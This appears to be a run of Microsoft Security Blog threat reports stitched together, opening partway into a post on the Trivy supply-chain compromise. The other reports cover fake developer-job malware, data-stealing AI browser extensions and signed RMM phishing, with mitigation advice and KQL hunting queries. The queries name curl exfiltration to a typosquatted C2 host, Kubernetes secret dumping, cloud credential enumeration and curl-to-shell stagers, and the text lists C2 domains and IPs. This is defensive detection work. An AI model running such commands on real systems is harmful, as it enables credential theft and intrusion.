After exfiltration, the malware cleaned up all temporary files and launched the legitimate Trivy scan. The workflow completed successfully with expected output, masking the compromise from pipeline operators.

Detection and investigation

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Mitigation and protection guidance

The recent compromise affecting Trivy and related GitHub Actions highlights how attackers increasingly target CI/CD pipelines, trusted developer tooling and software supply chains. In this campaign, adversaries exploited insecure workflow configurations, abused trusted version tags and leveraged stolen credentials to distribute malicious artifacts and exfiltrate secrets.

Microsoft Defender recommends organizations to adopt the following preventative measures to reduce exposure to similar attacks.

Immediately update to safe versions: Ensure all workflows are running verified safe versions:

Harden CI/CD pipelines against supply chain attacks

Pin all third-party actions to immutable references:

• Pin GitHub Actions to commit SHA rather than version tags (e.g., @v1), as tags can be force-modified by attackers.  
• Regularly audit workflows for tag-based references; replace them with verified SHAs.  

Restrict action usage through policy controls:

• Use organization-level policies to allow only approved actions.  
• Block unverified or newly introduced external actions by default.
• Publish using immutable release to prevent attackers from replacing the commit behind released versions. 
• Review your CI/CD audit logs for unexpected updates to already released versions. 

Enforce least privilege and strong identity controls  

Minimize token and permission scope:

• Configure GITHUB_TOKEN and other credentials with minimum required permissions.  
• Avoid granting write permissions unless strictly necessary.  

Protect secrets and sensitive data in pipelines  

Eliminate implicit secret exposure:

• Avoid injecting secrets into environment variables when not required.  
• Store secrets in dedicated secret managers and retrieve them just-in-time.  

Disable credential persistence on runners:

• Ensure credentials are not persisted to disk or reused across jobs.  
• Use ephemeral runners or clean environments to prevent cross-job secret leakage. 

Reduce lateral movement risk through Attack Path analysis

Organizations can reduce the risk of credential-driven lateral movement by leveraging attack path analysis in Microsoft Defender. This capability provides visibility into how identities, secrets, misconfigurations and resources are interconnected across the environment. By continuously analyzing these relationships, Defender identifies attack paths involving leaked or overprivileged secrets, including those used in CI/CD pipelines.

Security teams can use these insights to proactively remediate risk by removing excessive permissions, rotating credentials, and segmenting access, effectively limiting how far an attacker could move if a pipeline or token is compromised.

Assess blast radius using Advanced Hunting

The Exposure Management graph provides a unified representation of organizational assets and their relationships, including identities, endpoints, cloud resources and secrets.  This graph is also exposed to customers through Advanced Hunting in Microsoft Defender, enabling programmatic exploration of these connections.

Using Advanced Hunting, security teams can query this graph to assess the potential blast radius of any given node, such as a leaked CI/CD secret or compromised identity. By understanding which assets are reachable through existing permissions and trust relationships, organizations can prioritize remediation of the most critical exposure paths.

Additional examples and query patterns are available here as well as in the following Advanced Hunting Queries section below.

If your organization believes it has been impacted by this supply chain compromise, Microsoft Incident Response is available to provide immediate investigation, containment, and recovery support. Contact Microsoft Incident Response

Advanced hunting queries

CloudProcessEvents query to identify malicious commands originating from the recent TeamPCP supply-chain attacks.

CloudProcessEvents 
| where ProcessCommandLine  has_any ('scan.aquasecurtiy.org','45.148.10.212','plug-tab-protective-relay.trycloudflare.com','tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io','checkmarx.zone','/tmp/runner_collected_','tpcp.tar.gz')  
   or (ParentProcessName == 'entrypoint.sh' and ProcessCommandLine  has 'grep -qiE (env|ssh)')

Kubernetes secrets enumeration 

DeviceProcessEvents 
| where FileName == "bash" 
| where InitiatingProcessFileName != "claude" 
| where InitiatingProcessParentFileName != "claude" 
| where ProcessCommandLine !contains "claude" 
| where ProcessCommandLine  has_all ("kubectl get secrets ", " --all-namespaces ", " -o json ", " || true") 

Credential enumeration

let GCP_Enumeration = pack_array('$GOOGLE_APPLICATION_CREDENTIALS', 'cat', '2>/dev/null', '||'); 
let AWS_Enumeration = pack_array('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI', 'curl -s', '2>/dev/null'); 
let Kubernetes_Enumeration = pack_array('kubectl get secrets --all-namespaces', '2>/dev/null'); 
DeviceProcessEvents 
| where FileName in ('dash', 'bash', 'sh') 
| where InitiatingProcessFileName contains "python" 
| where ProcessCommandLine has_all (GCP_Enumeration) 
    or ProcessCommandLine has_all (AWS_Enumeration) 
    or ProcessCommandLine has_all (Kubernetes_Enumeration) 
| where ProcessCommandLine !has_cs 'ADC' 

Exfiltration via curl from a Trivy process 

DeviceProcessEvents 
| where FileName == "curl" 
| where InitiatingProcessCommandLine contains "trivy-action" 
| where ProcessCommandLine contains " POST " 
| where ProcessCommandLine contains " --data-binary" 

Typosquatted C2 Domain in Command Line  

CloudProcessEvents 
| where ProcessCommandLine has_any (   
    // Typosquatted C2 domain 
    "scan.aquasecurtiy.org", "aquasecurtiy.org", 
    // C2 IP 
    "45.148.10.212”) 
| project Timestamp, KubernetesPodName, KubernetesNamespace, AzureResourceId, ContainerName, ContainerId, ContainerImageName, ProcessName, ProcessCommandLine,  ParentProcessName, FileName 

OpenSSL-based encryption operations 

CloudProcessEvents 
| where ProcessName == "openssl" 
    and ProcessCommandLine has_any ( "enc -aes-256-cbc",  "enc -aes-256",) 
    and and ProcessCommandLine has "-pass file:" 
| project Timestamp,  KubernetesPodName, KubernetesNamespace, AzureResourceId, ContainerName, ContainerId, ContainerImageName, ProcessName, ProcessCommandLine, ParentProcessName, FileName 
  
DeviceProcessEvents 
| where ProcessCommandLine has_all ('/dev/null', '--data-binary', '-X POST', 'scan.aquasecurtiy.org ') 
or ProcessCommandLine has_any ('pgrep -f Runner.Listener', 'pgrep -f Runner.Worker') 
or ProcessCommandLine has_any ('tmp/runner_collected_', 'tpcp.tar.gz') and ProcessCommandLine has_any ('curl', 'tar', 'rm', 'openssl enc') and ProcessCommandLine !has 'find' 
or InitiatingProcessCommandLine contains '/entrypoint.sh’ and ProcessCommandLine has ‘grep -qiE (env|ssh)’  
| join kind=leftouter (DeviceNetworkEvents | where RemoteIP == '45.148.10.122') on DeviceId 
| project Timestamp, FileName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFolderPath, RemoteIP 

Compromised installations of Trivy

DeviceTvmSoftwareInventory 
| where SoftwareName has "trivy" 
| where SoftwareVersion has_any ("0.69.4", "0.69.5", "0.69.6") 

References

Trivy Compromised a Second Time – Malicious v0.69.4 Release, aquasecurity/setup-trivy, aquasecurity/trivy-action GitHub Actions Compromised – StepSecurity (Step Security)

Update: Ongoing Investigation and Additional Activity (Aqua)

This research is provided by Microsoft Defender Security Research with contributions from  Yossi Weizman, Mathieu Letourneau, Bhakta Pradhan, Hazel Kim, Sagar Patil, Shai Yannai, Gourav Khandelwal, Ofir Mastor, Chinmay Soni, Arlette Umuhire Sangwa, and Ram Pliskin

Learn more   

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

Learn more about Protect your agents in real-time during runtime (Preview) – Microsoft Defender for Cloud Apps

Explore how to build and customize agents with Copilot Studio Agent Builder 

Microsoft 365 Copilot AI security documentation 

How Microsoft discovers and mitigates evolving attacks against AI guardrails 

Learn more about securing Copilot Studio agents with Microsoft Defender  

The post Guidance for detecting, investigating, and defending against the Trivy supply chain compromise appeared first on Microsoft Security Blog.

Threat actors repeatedly achieve initial access through convincingly staged recruitment processes that mirror legitimate technical interviews. These engagements often include recruiter outreach, technical discussions, assignments, and follow-ups, ultimately persuading victims to execute malicious packages or commands under the guise of routine evaluation tasks.

This campaign represents a shift in initial access tradecraft. By embedding targeted malware delivery directly into interview tools, coding exercises, and assessment workflows developers inherently trust, threat actors exploit the trust job seekers place in the hiring process during periods of high motivation and time pressure, lowering suspicion and resistance.

Attack chain overview

Initial access

As part of a fake job interview process, attackers pose as recruiters from cryptocurrency trading firms or AI-based solution providers. Victims who fall for the lure are instructed to clone and execute an NPM package hosted on popular code hosting platforms such as GitHub, GitLab, or Bitbucket. In this scenario, the executed NPM package directly loads a follow-on payload.

Execution of the malicious package triggers additional scripts that ultimately deploy the backdoor in the background. In recent intrusions, attackers have adapted their technique to leverage Visual Studio Code workflows: when victims open the downloaded package in Visual Studio Code, they are prompted to trust the repository author. If trust is granted, Visual Studio Code automatically executes the repository’s task configuration file, which then fetches and loads the backdoor.

Once the victim executes the task or the package is successfully executed, a backdoor is launched. Over time, the attackers deploy various cross platform functional backdoor families to establish initial foothold on the impacted devices and then pivot into more traditional intrusion operations.

OtterCookie

OtterCookie is the most widely observed backdoor variant in this campaign. First observed in September 2024, this JavaScript based backdoor was in active development phase and over time, it evolved from a basic tool for executing remote commands and searching for crypto keys into a modular program capable of broader data theft with a capability to check for VM environments, install communication clients like socket.io for C2, exfiltrate information, executes arbitrary shell commands, load other modules to collect specific intended data and reports results.

Microsoft Defender Experts continue to observe two active OtterCookie variants, with the latest tracked since October 2025 retains the same core functionality but introduces significantly heavier obfuscation that hides strings, URLs, and logic through encoded index lookups and shuffled arrays. This reduces runtime artifacts and visibility while making static analysis and signature-based detection substantially harder through deliberate stealth and intent masking.

Beaconing agent

Microsoft Defender Experts has observed this JavaScript backdoor variant (shown below) in active use since at least October 2025. The malware operates as a lightweight command-and-control beacon capable of collecting host fingerprints, including hostname, network identifiers, operating system details, and public IP address. It periodically contacts a remote controller to exchange status information and retrieve tasking and can execute arbitrary attacker-supplied code by spawning a local runtime and piping the payload directly through standard input.

The backdoor launches detached background child processes, tracks their process identifiers for lifecycle management, supports remote configuration updates and shutdown commands, and reports execution errors back to the controller. These capabilities enable stealthy execution, resilient remote code execution, system reconnaissance, and ongoing remote process control.

Data collection

Once a foothold is established via backdoors, attackers move on to collecting sensitive information from compromised devices. Although the objective remains consistent, the methods vary depending on the underlying platform and the specific capabilities of each backdoor.

Enumerating sensitive data

On Windows systems, through beaconing agent a script was launched to enumerate credential and keystore material (as shown in the image below). This includes environment configuration files, wallet mnemonic phrases, password stores such as KeePass database, 1Password artifacts, notes, and cryptographic keys. Collected data is packaged and exfiltrated to attacker-controlled infrastructure via HTTP POST requests.

On macOS, attackers through the same beaconing agent adapt their behavior by issuing system commands to search the entire filesystem for files matching credential- and secret-related patterns (as shown in the image below). To improve efficiency and reduce noise, the search logic deliberately excludes common system, vendor, and developer directories before exfiltrating the results to remote servers.

In contrast, intrusions leveraging the OtterCookie backdoor employ a modular Node.js-based approach. The malicious module performs broad file-harvesting operations across local drives, excluding large system and development cache directories. The backdoor targets high-value assets such as cryptographic keys, environment files, documents, images, source code, and package artifacts. Files matching predefined patterns are exfiltrated to attacker-controlled endpoints using axios-based form-data uploads, allowing the activity to blend into legitimate web traffic.

Spying and clipboard data read

Through the backdoor, the attacker installs benign npm packages such as node-global-key-listener and screenshot-desktop for keylogging and desktop screenshot. The backdoor also loads a Node.js module that orchestrates staged payload execution via PowerShell and CMD, ultimately collecting active window metadata and clipboard contents through repeated, hidden PowerShell commands.

While the above is implemented through a separate module, OtterCookie also embeds a clipboard watcher function that captures clipboard content and exfiltrates it to attacker-controlled infrastructure.

Follow-up payloads: Invisible Ferret

In the early stages of this campaign, Invisible Ferret was primarily delivered via BeaverTail, an information stealer that also functioned as a loader. In more recent intrusions, however, Invisible Ferret is predominantly deployed as a follow-on payload, introduced after initial access has been established through the beaconing agent or OtterCookie.

Invisible Ferret is a Python-based backdoor used in later stages of the attack chain, enabling remote command execution, extended system reconnaissance, and persistent control after initial access has been secured by the primary backdoor.

Other Campaigns

Another notable backdoor observed in this campaign is FlexibleFerret, a modular backdoor implemented in both Go and Python variants. It leverages encrypted HTTP(S) and TCP command and control channels to dynamically load plugins, execute remote commands, and support file upload and download operations with full data exfiltration. FlexibleFerret establishes persistence through RUN registry modifications and includes built-in reconnaissance and lateral movement capabilities. Its plugin-based architecture, layered obfuscation, and configurable beaconing behavior contribute to its stealth and make analysis more challenging.

While Microsoft Defender Experts have observed FlexibleFerret less frequently than the backdoors discussed in earlier sections, it remains active in the wild. Campaigns deploying this backdoor rely on similar social engineering techniques, where victims are directed to a fraudulent interview or screening website impersonating a legitimate platform. During the process, users encounter a fabricated technical error and are instructed to copy and paste a command to resolve the issue. This command retrieves additional payloads, ultimately leading to the execution of the FlexibleFerret backdoor.

Code quality observations

Recent samples exhibit characteristics that differ from traditionally engineered malware. The beaconing agent script contains inconsistent error handling, empty catch blocks, and redundant reporting logic that appear minimally refined. Similarly, the FlexibleFerret Python variant combines tutorial-style comments, emoji-based logging, and placeholder secret key markers alongside functional malware logic.

These patterns, including instructional narrative structure and rapid iteration cycles, suggest development workflows that prioritize speed and functional output over refined engineering. While these characteristics may indicate the use of development acceleration tools, they primarily reflect evolving threat actor development practices and rapid tooling adaptation that enable quick iteration on malicious code.

Security implications

This campaign weaponizes hiring processes into a persistent attack channel. Threat actors exploit technical interviews and coding assessments to execute malware through dependency installations and repository tasks, targeting developer endpoints that provide access to source code, CI/CD pipelines, and production infrastructure.

Threat actors harvest API tokens, cloud credentials, signing keys, cryptocurrency wallets, and password manager artifacts. Modular backdoors enable infrastructure rotation while maintaining access and complicating detection.

Organizations should treat recruitment workflows as attack surfaces by deploying isolated interview environments, monitoring developer endpoints and build tools, and hunting for suspicious repository activity and dependency execution patterns.

Mitigation and protection guidance

Harden developer and interview workflows

• Use a dedicated, isolated environment for coding tests and take-home assignments (for example, a non-persistent virtual machine). Do not use a primary corporate workstation that has access to production credentials, internal repositories, or privileged cloud sessions.
• Establish a policy that requires review of any recruiter-provided repository before running scripts, installing dependencies, or executing tasks. Treat “paste-and-run” commands and “quick fix” instructions as high-risk.
• Provide guidance to developers on common red flags: short links redirecting to file hosts, newly created repositories or accounts, unusually complex “assessment” setup steps, and instructions that request disabling security controls or trusting unknown repository authors.

Reduce attack surface from tools commonly abused in this campaign

• Ensure tamper protection and real-time antivirus protection are enabled, and that endpoints receive security updates. These campaigns often rely on script execution and commodity tooling rather than exploiting a single vulnerability, so layered endpoint protection remains effective.
• Restrict scripting and developer runtimes where possible (Node.js, Python, PowerShell). In high-risk groups, consider application control policies that limit which binaries can execute and where they can be launched from (for example, preventing developer tool execution from Downloads and temporary folders).
• Monitor for and consider blocking common “download-and-execute” patterns used as stagers, such as curl/wget piping to shells, and outbound requests to low-reputation hosts used to serve payloads (including short-link redirection services).

Protect secrets and limit downstream impact

• Reduce the exposure of secrets on developer endpoints. Use just-in-time and short-lived credentials, store secrets in vaults, and avoid long-lived tokens in environment files or local configuration.
• Enforce multifactor authentication and conditional access for source control, CI/CD, cloud consoles, and identity providers to mitigate credential theft from compromised endpoints.
• Review and restrict access to password manager vaults and developer signing keys. This campaign explicitly targets artifacts such as wallet material, password databases, private keys, and other high-value developer-held secrets.

Detect, investigate, and respond

• Hunt for execution chains that start from a code editor or developer tool and quickly transition into shell or scripting execution (for example, Visual Studio Code/Cursor App→ cmd/PowerShell/bash → curl/wget → script execution). Review repository task configurations and build scripts when such chains are observed.
• Monitor Node.js and Python processes for behaviors consistent with this campaign, including broad filesystem enumeration for credential and key material, clipboard monitoring, screenshot capture, and HTTP POST uploads of collected data.
• If compromise is suspected, isolate the device, rotate credentials and tokens that may have been exposed, review recent access to code repositories and CI/CD systems, and assess for follow-on payloads and persistence.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.  

Hunting Queries

Microsoft Defender XDR  

Microsoft Defender XDR customers can run the following queries to find related activity in their networks.

Run the below query to identify suspicious script executions where curl or wget is used to fetch remote content.

DeviceProcessEvents
| where ProcessCommandLine has_any ("curl", "wget")
| where ProcessCommandLine has_any ("vercel.app", "short.gy") and ProcessCommandLine has_any (" | cmd", " | sh")

Run the below query to identify OtterCookie-related Node.js activity by correlating clipboard monitoring, recursive file scanning, curl-based exfiltration, and VM-awareness patterns.

DeviceProcessEvents
| where
    (
        (InitiatingProcessCommandLine has_all ("axios", "const uid", "socket.io") and InitiatingProcessCommandLine contains "clipboard") or // Clipboard watcher + socket/C2 style bootstrap
        (InitiatingProcessCommandLine has_all ("excludeFolders", "scanDir", "curl ", "POST")) or // Recursive file scan + curl POST exfil
        (ProcessCommandLine has_all ("*bitcoin*", "credential", "*recovery*", "curl ")) or // Credential/crypto keyword harvesting + curl usage
        (ProcessCommandLine has_all ("node", "qemu", "virtual", "parallels", "virtualbox", "vmware", "makelog")) or // VM / sandbox awareness + logging
        (ProcessCommandLine has_all ("http", "execSync", "userInfo", "windowsHide")
            and ProcessCommandLine has_any ("socket", "platform", "release", "hostname", "scanDir", "upload")) // Generic OtterCookie-ish execution + environment collection + upload hints
    )

Run the below query to detect possible Node.js beaconing agent activity.

DeviceProcessEvents
| where ProcessCommandLine has_all ("handleCode", "AgentId", "SERVER_IP")

Run the below query to detect possible BeaverTail and InvisibleFerret activity.

DeviceProcessEvents
| where FileName has "python" or ProcessVersionInfoOriginalFileName has "python"
| where ProcessCommandLine has_any (@'/.n2/pay', @'\.n2/pay', @'\.npl', '/.npl', @'/.n2/bow', @'\.n2/bow', '/pdown', '/.sysinfo', @'\.n2/mlip', @'/.n2/mlip')

Run the below query to detect credential enumeration activity.

DeviceProcessEvents
| where InitiatingProcessParentFileName has "node"
| where (InitiatingProcessCommandLine has_all ("cmd.exe /d /s /c", " findstr /v", '\"dir')
and ProcessCommandLine has_any ("account", "wallet", "keys", "password", "seed", "1pass", "mnemonic", "private"))
or ProcessCommandLine has_all ("-path", "node_modules", "-prune -o -path", "vendor", "Downloads", ".env")

Microsoft Sentinel  

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.   

References

• FlexibleFerret: macOS Malware Deploys in Fake Job Scams
• Famous Chollima deploying Python version of GolangGhost RAT
• Threat Actors Expand Abuse of Microsoft Visual Studio Code

This research is provided by Microsoft Defender Security Research with contributions from Balaji Venkatesh S.

Learn more   

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

Learn more about Protect your agents in real-time during runtime (Preview) – Microsoft Defender for Cloud Apps

Explore how to build and customize agents with Copilot Studio Agent Builder 

Microsoft 365 Copilot AI security documentation 

How Microsoft discovers and mitigates evolving attacks against AI guardrails 

Learn more about securing Copilot Studio agents with Microsoft Defender  

The post Contagious Interview: Malware delivered through fake developer job interviews appeared first on Microsoft Security Blog.

Microsoft Defender has been investigating reports of malicious Chromium‑based browser extensions that impersonate legitimate AI assistant tools to harvest LLM chat histories and browsing data. Reporting indicates these extensions have reached approximately 900,000 installs. Microsoft Defender telemetry also confirms activity across more than 20,000 enterprise tenants, where users frequently interact with AI tools using sensitive inputs.

The extensions collected full URLs and AI chat content from platforms such as ChatGPT and DeepSeek, exposing organizations to potential leakage of proprietary code, internal workflows, strategic discussions, and other confidential data.

At scale, this activity turns a seemingly trusted productivity extension into a persistent data collection mechanism embedded in everyday enterprise browser usage, highlighting the growing risk browser extensions pose in corporate environments.

Attack chain overview

Reconnaissance

The threat actor targeted the rapidly growing ecosystem of AI-assistant browser extensions and the user behaviors surrounding them. Many knowledge workers install sidebar tools to interact with models such as ChatGPT and DeepSeek, often granting broad page-level permissions for convenience. These extensions also operate across Chromium-based browsers such as Google Chrome and Microsoft Edge using a largely uniform architecture.

We also observed cases where agentic browsers automatically downloaded these extensions without requiring explicit user approval, reflecting how convincing the names and descriptions appeared. Together, these factors created a large potential audience that frequently handles sensitive information in the browser and a platform where look-alike extensions could blend in with minimal friction.

The actors also reviewed legitimate extensions, such as AITOPIA, to emulate familiar branding, permission prompts, and interaction patterns. This allowed the malicious extensions to align with user expectations while enabling large-scale telemetry collection from browser activity.

Weaponization

The threat actor developed a Chromium-based browser extension compatible with both Google Chrome and Microsoft Edge. The extension was designed to passively observe user activity, collecting visited URLs and segments of AI-assisted chat content generated during normal browser use.

Collected data was staged locally and prepared for periodic transmission, enabling continuous visibility into user browsing behavior and interactions with AI platforms.

To reduce suspicion, the extension presented its activity as benign analytics commonly associated with productivity tools. From a defender perspective, this stage introduced a browser-resident data collection capability focused on URLs and AI chat content, along with scheduled outbound communication to external infrastructure.

Delivery

The malicious extension was distributed through the Chrome Web Store, using AI-themed branding and descriptions to resemble legitimate productivity extensions. Because Microsoft Edge supports Chrome Web Store extensions, a single listing enabled distribution across both browsers without requiring additional infrastructure.

User familiarity with installing AI sidebar tools, combined with permissive enterprise extension policies, allowed the extension to reach a broad audience. This trusted distribution channel enabled the extension to reach both personal and corporate environments through routine browser extension installation.

Exploitation

Following installation, the extension leveraged the Chromium extension permission model to begin collecting data without further user interaction. The granted permissions provided visibility into a wide range of browsing activity, including internal sites and AI chat interfaces.

A misleading consent mechanism further enabled this behavior. Although users could initially disable data collection, subsequent updates automatically re-enabled telemetry, restoring data access without clear user awareness.

By relying on user trust, ambiguous consent language, and default extension behaviors, the threat actor maintained continuous access to browser-resident data streams.

Installation

Persistence was achieved through normal browser extension behavior rather than traditional malware techniques. Once installed, the extension automatically reloaded whenever the browser started, requiring no elevated privileges or additional user actions.

Local extension storage maintained session identifiers and queued telemetry, allowing the extension to resume collection after browser restarts or service worker reloads. This approach allowed the data collection functionality to continue across browser sessions while appearing similar to a typical installed browser extension.

Command and Control (C2)

At regular intervals, the extension transmitted collected data to threat actor–controlled infrastructure using HTTPS POST requests to domains including deepaichats[.]com and chatsaigpt[.]com. By relying on common web protocols and periodic upload activity, the outbound traffic appeared similar to routine browser communications.

After transmission, local buffers were cleared, reducing on-disk artifacts and limiting local forensic visibility. This lightweight command-and-control model allowed the extension to regularly transmit browsing telemetry and AI chat content from both Chrome and Microsoft Edge environments.

Actions on Objective

The threat actor’s objective appeared to be ongoing data collection and visibility into user activity. Through the installed extension, the threat actor collected browsing telemetry and AI-related content, including prompts and responses from platforms such as ChatGPT and DeepSeek. Telemetry was enabled by default after updates, even if previously declined, meaning users could unknowingly continue contributing data without explicit consent.

This data provided insight into internal applications, workflows, and potentially sensitive information that users routinely shared with AI tools. By maintaining periodic exfiltration tied to persistent session identifiers, the threat actor could maintain an evolving view of user activity, effectively turning the extension into a long-term data collection capability embedded in normal browser usage.

Technical Analysis

The extension runs a background script that logs nearly all visited URLs and excerpts of AI chat messages. The data is stored locally in Base64-encoded JSON and periodically uploaded to remote endpoints, including deepaichats[.]com.

Collected data includes full URLs (including internal sites), previous and next navigation context, chat snippets, model names, and a persistent UUID. Telemetry is enabled by default after updates, even if previously declined. The code includes minimal filtering, weak consent handling, and limited data protection controls.

Overall, the extension functions as a broad telemetry collection mechanism that introduces privacy and compliance risks in enterprise environments.

The following screenshots show extensions observed during the investigation:

Mitigation and protection guidance

1. Monitor network POST traffic to the extension’s known endpoints (*.chatsaigpt.com, *. deepaichats.com, *.chataigpt.pro, *.chatgptsidebar.pro) and assess impacted devices to understand scope of data exfiltrated.
2. Inventory, audit, and apply restrictions for browser extensions installed in your organization, using Browser extensions assessment in Microsoft Defender Vulnerability Management.
3. Enable Microsoft Defender SmartScreen and Network Protection.
4. Leverage Microsoft Purview data security to implement AI data security and compliance controls around sensitive data being used in browser-based AI chat applications.
5. Create, monitor, and enforce organizational policies and procedures on AI use within your organization.
6. Finally, educate users to avoid side‑loaded or unverified productivity extensions. Also suggest end users review their installed extensions in chrome or edge and remove unknown extensions.

Microsoft Defender XDR detections 

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, SaaS apps, email & collaboration tools to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Hunting queries

Microsoft Defender XDR

Browser launched with malicious extension IDs

Purpose: high confidence signal that a known‑bad extension is present or side‑loaded.

DeviceProcessEvents
| where FileName in~ ("chrome.exe","msedge.exe")
| where ProcessCommandLine has_any ("fnmihdojmnkclgjpcoonokmkhjpjechg", "inhcgfpbfdjbjogdfjbclgolkmhnooop"  )  // “Chat GPT for Chrome with GPT‑5, Claude Sonnet & DeepSeek & AI Sidebar with Deepseek, ChatGPT, Claude and more”)
| project Timestamp, DeviceName, Account=InitiatingProcessAccountName, FileName, ProcessCommandLine, InitiatingProcessParentFileName
| order by Timestamp desc

Outbound Connections to the Attacker’s Infrastructure

Purpose: Direct evidence of browser traffic to the campaign’s domains.

DeviceNetworkEvents
| where RemoteUrl has_any ( "chatsaigpt.com","deepaichats.com","chataigpt.pro","chatgptsidebar.pro")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine,RemoteUrl, RemoteIP, RemotePort, Protocol
| order by Timestamp desc

Installations of Malicious IDs

Purpose: Enumerate all devices where either of the two malicious IDs is installed.

DeviceTvmBrowserExtensions
| where ExtensionId in ("fnmihdojmnkclgjpcoonokmkhjpjechg", "inhcgfpbfdjbjogdfjbclgolkmhnooop")
| summarize Devices=dcount(DeviceName) by BrowserName
| order by Devices desc

Detecting On-Disk Artifacts of Malicious Extensions

Purpose: Identify any systems where the malicious Chrome or Edge Extensions are present by detecting file activity inside their known extension directories.

DeviceFileEvents
| where FolderPath has_any ( @"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\fnmihdojmnkclgjpcoonokmkhjpjechg",@"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\inhcgfpbfdjbjogdfjbclgolkmhnooop",@"\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions\\fnmihdojmnkclgjpcoonokmkhjpjechg",@"\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions\\inhcgfpbfdjbjogdfjbclgolkmhnooop")
| where ActionType in~ ("FileCreated","FileModified","FileRenamed")
| project Timestamp, DeviceName, InitiatingProcessFileName, ActionType, FolderPath, FileName, SHA256, AccountName
| order by Timestamp desc

References

• Malicious Chrome Extensions Steal ChatGPT Conversations | OX Security
• Microsoft Defender for Endpoint – Microsoft Defender for Endpoint
• Microsoft Defender Vulnerability Management – Microsoft Defender Vulnerability Management
• Microsoft Defender SmartScreen overview
• Microsoft Purview data security and compliance protections for Microsoft 365 Copilot and other generative AI apps

This research is provided by Microsoft Defender Security Research with contributions from Geoff McDonald and Dana Baril.

Learn more 

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Learn more about Protect your agents in real-time during runtime (Preview) – Microsoft Defender for Cloud Apps

The post Malicious AI Assistant Extensions Harvest LLM Chat Histories appeared first on Microsoft Security Blog.

In February 2026, Microsoft Defender Experts identified multiple phishing campaigns attributed to an unknown threat actor. The campaigns used workplace meeting lures, PDF attachments, and abuse of legitimate binaries to deliver signed malware.

Phishing emails directed users to download malicious executables masquerading as legitimate software. The files were digitally signed using an Extended Validation (EV) certificate issued to TrustConnect Software PTY LTD. Once executed, the applications installed remote monitoring and management (RMM) tools that enabled the attacker to establish persistent access on compromised systems.

These campaigns demonstrate how familiar branding and trusted digital signatures can be abused to bypass user suspicion and gain an initial foothold in enterprise environments.

Attack chain overview

Based on Defender telemetry, Microsoft Defender Experts conducted forensic analysis that identified a campaign centered on deceptive phishing emails delivering counterfeit PDF attachments or links impersonating meeting invitations, financial documents, invoices, and organizational notifications.

The lures directed users to download malicious executables masquerading as legitimate software, including msteams.exe, trustconnectagent.exe, adobereader.exe, zoomworkspace.clientsetup.exe, and invite.exe. These files were digitally signed using an Extended Validation certificate issued to TrustConnect Software PTY LTD.

Once executed, the applications deployed remote monitoring and management tools such as ScreenConnect, Tactical RMM, and Mesh Agent. These tools enabled the attacker to establish persistence and move laterally within the compromised environment.

Campaign delivering PDF attachments

In one observed campaign, victims received the following email which included a fake PDF attachment that when opened shows the user a blurred static image designed to resemble a restricted document.

A red button labeled “Open in Adobe” encouraged the user to click to continue to access the file. However, when clicked instead of displaying the document, the button redirects users to a spoofed webpage crafted to closely mimic Adobe’s official download center.

The screenshot shows that the user’s Adobe Acrobat is out of date and automatically begins downloading what appears to be a legitimate update masquerading as AdobeReader but it is an RMM software package digitally signed by TrustConnect Software PTY LTD.

Campaign delivering meeting invitations

In another observed campaign, the threat actor was observed distributing highly convincing Teams and Zoom phishing emails that mimic legitimate meeting requests, project bids, and financial communications.

These messages contained embedded phishing links that led users to download software impersonating trusted applications. The fraudulent sites displayed “out of date” or “update required” prompts designed to induce rapid user action. The resulting downloads masqueraded as Teams, Zoom, or Google Meet installer were in fact remote monitoring and management (RMM) software once again digitally signed by TrustConnect Software PTY LTD.

ScreenConnect RMM backdoor installation

Once the masqueraded Workspace application (digitally signed by TrustConnect) was executed from the Downloads directory, it created a secondary copy of itself under C:\Program Files. This behavior was intended to reinforce its appearance as a legitimate, system-installed application. The program then registered the copied executable as a Windows service, enabling persistent and stealthy execution during system startup.

As part of its persistence mechanism, the service also created a Run key located at: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Value name: TrustConnectAgent

This Run key was configured to automatically launch the disguised executable:       C:\Program Files\Adobe Acrobat Reader\AdobeReader.exe

At this stage, the service established an outbound network connection to the attacker-controlled Command and Control (C2) domain: trustconnectsoftware[.]com

Following the installation phase, the masqueraded workplace executables (TrustConnect RMM) initiated encoded PowerShell commands designed to download additional payloads from the attacker-controlled infrastructure.

